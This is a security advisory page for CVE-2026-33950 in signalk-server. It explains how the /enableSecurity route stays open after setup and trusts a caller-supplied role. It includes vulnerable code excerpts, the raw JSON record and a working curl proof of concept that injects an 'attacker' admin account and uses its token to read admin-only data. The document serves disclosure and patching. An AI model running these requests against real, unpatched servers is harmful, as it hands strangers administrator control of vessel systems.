GHSA-X8HC-FQV3-7GWF

Vulnerability from github – Published: 2026-04-03 21:37 – Updated: 2026-04-03 21:37
VLAI?
Summary
Signal K Server: Privilege Escalation by Admin Role Injection via /enableSecurity
Details

Summary

According to SignalK's security documentation, when a server is first initialized without security enabled, the /skServer/enableSecurity endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.

However, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the /skServer/enableSecurity route remains perpetually open.

Furthermore, the endpoint explicitly trusts the type field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.

Vulnerable Root Cause

File: src/serverroutes.ts (Lines 685-754)

if (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) {
    app.post(
      `${SERVERROUTESPREFIX}/enableSecurity`,
      (req: Request, res: Response) => {
        // ...
        function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) {
          // [!VULNERABLE] Passes the entire JSON request body directly to the security strategy
          securityStrategy.addUser(config, request.body, (err, theConfig) => {
            // ...
          })
        }
      }
    // ... No code disables or removes this route after first execution.
    // The conditional check on Line 685 only happens during server startup, 

File: src/tokensecurity.ts (Lines 980-994)

function addUser(
    theConfig: SecurityConfig,
    user: { userId: string; type: string; password?: string },
    callback: ICallback<SecurityConfig>
  ): void {
    // ...
    const newUser: User = {
      username: user.userId,
      type: user.type // [!VULNERABLE] Blindly trusts the injected "type" field
    }

Proof of Concept (PoC)

Simulate Legitimate Initial Setup: Send a POST request to the open enableSecurity route defining the initial legitimate admin account.

curl -X POST http://localhost:3000/skServer/enableSecurity \
  -H "Content-Type: application/json" \
  -d '{"userId": "admin", "password": "securepassword", "type": "admin"}'

Result: Security enabled

Inject Malicious Admin: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.

curl -X POST http://localhost:3000/skServer/enableSecurity \
  -H "Content-Type: application/json" \
  -d '{"userId": "attacker", "password": "password123", "type": "admin"}'

Result: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).

Verify Both Admins Exist: Login via JWT as the attacker and query the restricted users endpoint.

# Get Token for Attacker
TOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username": "attacker", "password": "password123"}' | jq -r .token)
# Access Admin-Only Data
curl -H "Authorization: Bearer $TOKEN" http://localhost:3000/skServer/security/users
Result: The system returns both admin and attacker as active Administrators.

Screenshot 2026-03-24 145906

Security Impact

An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "signalk-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.24.0-beta.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-288",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:37:19Z",
    "nvd_published_at": "2026-04-02T17:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAccording to SignalK\u0027s security documentation, when a server is first initialized without security enabled, the **/skServer/enableSecurity** endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.\n\nHowever, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the **/skServer/enableSecurity** route remains perpetually open.\n\nFurthermore, the endpoint explicitly trusts the **type** field provided in the request body, passing it directly into the server\u0027s security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.\n\n## Vulnerable Root Cause \n\nFile:  src/serverroutes.ts (Lines 685-754)\n```\nif (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) {\n    app.post(\n      `${SERVERROUTESPREFIX}/enableSecurity`,\n      (req: Request, res: Response) =\u003e {\n        // ...\n        function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) {\n          // [!VULNERABLE] Passes the entire JSON request body directly to the security strategy\n          securityStrategy.addUser(config, request.body, (err, theConfig) =\u003e {\n            // ...\n          })\n        }\n      }\n    // ... No code disables or removes this route after first execution.\n    // The conditional check on Line 685 only happens during server startup, \n```\n\nFile: src/tokensecurity.ts (Lines 980-994)\n```\nfunction addUser(\n    theConfig: SecurityConfig,\n    user: { userId: string; type: string; password?: string },\n    callback: ICallback\u003cSecurityConfig\u003e\n  ): void {\n    // ...\n    const newUser: User = {\n      username: user.userId,\n      type: user.type // [!VULNERABLE] Blindly trusts the injected \"type\" field\n    }\n```\n\n## Proof of Concept (PoC)\n\n**Simulate Legitimate Initial Setup**: Send a POST request to the open enableSecurity route defining the initial legitimate admin account.\n```\ncurl -X POST http://localhost:3000/skServer/enableSecurity \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"userId\": \"admin\", \"password\": \"securepassword\", \"type\": \"admin\"}\u0027\n\nResult: Security enabled\n```\n\n**Inject Malicious Admin**: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.\n\n```\ncurl -X POST http://localhost:3000/skServer/enableSecurity \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"userId\": \"attacker\", \"password\": \"password123\", \"type\": \"admin\"}\u0027\n\nResult: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).\n```\n\n**Verify Both Admins Exist**: Login via JWT as the attacker and query the restricted users endpoint.\n\n```\n# Get Token for Attacker\nTOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\": \"attacker\", \"password\": \"password123\"}\u0027 | jq -r .token)\n```\n```\n# Access Admin-Only Data\ncurl -H \"Authorization: Bearer $TOKEN\" http://localhost:3000/skServer/security/users\nResult: The system returns both admin and attacker as active Administrators.\n```\n\n\u003cimg width=\"1205\" height=\"469\" alt=\"Screenshot 2026-03-24 145906\" src=\"https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a\" /\u003e\n\n## Security Impact\nAn unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints",
  "id": "GHSA-x8hc-fqv3-7gwf",
  "modified": "2026-04-03T21:37:19Z",
  "published": "2026-04-03T21:37:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-x8hc-fqv3-7gwf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33950"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SignalK/signalk-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.24.0-beta.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signal K Server: Privilege Escalation by Admin Role Injection via /enableSecurity "
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…